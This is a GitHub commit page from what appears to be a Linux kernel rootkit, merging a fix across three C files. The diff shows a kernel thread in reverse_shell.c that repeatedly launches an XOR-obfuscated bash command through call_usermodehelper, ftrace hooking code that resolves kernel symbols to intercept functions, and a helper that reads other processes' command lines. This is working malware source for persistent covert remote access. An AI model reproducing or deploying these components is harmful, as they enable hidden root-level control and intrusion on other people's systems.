Skip to content

Commit ff0b6a5

Browse files
authored
Merge pull request #4 from flashnuke/fix/use_no_wait
fix/use `uhm_no_wait`
2 parents b6c5a25 + 418c7b6 commit ff0b6a5

File tree

3 files changed

+14
-6
lines changed

3 files changed

+14
-6
lines changed

src/tasks/reverse_shell.c

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@ int rshell_func(void* data) {
1515
char* argv[] = { "/bin/bash", "-c", xor_cmd, NULL };
1616
static char* envp[] = { "HOME=/", "TERM=linux", "PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL };
1717
while (!kthread_should_stop()) {
18-
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
18+
call_usermodehelper(argv[0], argv, envp, UMH_NO_WAIT);
1919
ssleep(10);
2020
}
2121
return 0;

src/utils/ftrace_utils.c

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,11 @@
11
#include "utils/ftrace_utils.h"
22

3+
#ifdef FTRACE_OPS_FL_RECURSION_SAFE
4+
#define D_FTRACE_RECURSION_FLAG FTRACE_OPS_FL_RECURSION_SAFE
5+
#else
6+
#define D_FTRACE_RECURSION_FLAG FTRACE_OPS_FL_RECURSION
7+
#endif
8+
39
// Resolve the address of the function being hooked
410
int fh_resolve_hook_address(struct ftrace_hook *hook) {
511
kallsyms_lookup_name_t kallsyms_lookup_name = _kallsyms_lookup();
@@ -41,9 +47,9 @@ int fh_install_hook(struct ftrace_hook *hook) {
4147
return err;
4248
}
4349

44-
hook->ops.func = fh_ftrace_thunk;
50+
hook->ops.func = (ftrace_func_t)fh_ftrace_thunk;
4551
hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS
46-
| FTRACE_OPS_FL_RECURSION
52+
| D_FTRACE_RECURSION_FLAG
4753
| FTRACE_OPS_FL_IPMODIFY;
4854

4955
err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0);

src/utils/proc_utils.c

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -21,8 +21,9 @@ char *read_cmdline_from_task(pid_t pid, size_t *out_size) { // reads the command
2121
}
2222
mm = get_task_mm(task);
2323
rcu_read_unlock();
24-
if (!mm)
24+
if (!mm) {
2525
return NULL;
26+
}
2627

2728
// lock the memory map
2829
down_read(&mm->mmap_lock);
@@ -45,8 +46,9 @@ char *read_cmdline_from_task(pid_t pid, size_t *out_size) { // reads the command
4546
}
4647

4748
buffer[size] = '\0'; // null-terminate
48-
if (out_size)
49+
if (out_size) {
4950
*out_size = size;
50-
return buffer;
51+
}
52+
return buffer; // memory will be freed by the calle
5153
}
5254

0 commit comments

Comments
 (0)